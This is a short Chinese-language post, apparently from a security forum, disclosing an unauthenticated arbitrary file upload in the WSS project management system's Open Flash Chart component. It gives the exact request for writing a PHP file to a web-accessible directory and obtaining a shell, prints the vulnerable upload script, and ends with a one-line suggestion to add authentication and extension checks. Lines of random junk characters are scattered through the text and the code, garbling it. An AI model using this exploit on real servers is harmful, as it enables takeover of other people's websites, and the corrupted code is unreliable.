WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- D% M# d4 m: a% s* M: l
) G9 \% Y1 b* h利用：
2 r$ ?1 V% p4 N( w3 E9 r/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
' Z$ s2 J! L# b0 J% k, d& H) `3 Q1 ?/ c
" [; _0 v; }( f  H6 K& f. lPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
! w, W8 p) ^( N4 x" y/ W5 y. ]. ^

' `3 ?9 r3 q+ f' t9 \* n最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
2 ~& p* z3 P# R  U
9 E' `3 J$ ^: ]0 P<?php

//
: R" h$ Q) w7 E+ V& `- z// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

/*

& u/ x' W2 {& D1 v6 j1 b$ V- ?0 M2 _print_r( $_GET );
& Z" `" v" X* @) B4 k' x# q& m3 l0 n. _5 \1 oprint_r( $_POST );
print_r( $_FILES );
- a6 w5 S* A8 n
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
! V6 v- ?+ r1 P) T5 L
/ \" v& d9 A* \: Aif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
! S  z: M% O' n3 }$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

9 L9 N! P+ C  t, N8 \; h- `//
// POST data is usually string data, but we are passing a RAW .png
# t7 Q. }1 \/ G// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
0 M3 K+ [2 D; o
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
8 V* c1 [, \" t8 T/ X! V2 nfclose($jfh);
# ^4 a; U' P% h& E4 f& q9 K4 I  F
; R" m# \( y  W/ G! m+ G" I* c//
// LOOK:
//
exit();
//
6 q& h0 T' ]! u4 N& _// PHP5:
0 n. B5 J/ v8 T$ k5 o//


// default path for the image to be stored //
  E  U, H* r  V9 g3 F$default_path = 'tmp-upload-images/';
# D7 {' p: v, [" M5 F
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
: C* t' O  t( y1 D7 O9 S8 O% z
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

3 I! s: b' u2 \3 m' y9 K( l! Q( z// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
( h7 l* S& {2 J9 n    echo "FILE UPLOAD FAILED";
6 E8 \2 n( r7 V}
+ _/ T/ v* P$ _9 b( D" E+ n
  k4 ?0 U+ J" H1 l
?>
5 i0 q* |& X- E9 ~
' y6 r( F( D% a5 l: y; Q( y
4 N8 o/ l+ I: U! G) |



4 N' z3 q1 R& D, V. t, `) e修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
" u- Y& ~1 J2 q" T/ h8 L9 H


3 H  W4 S# b& ^8 X1 ~5 j1 F( c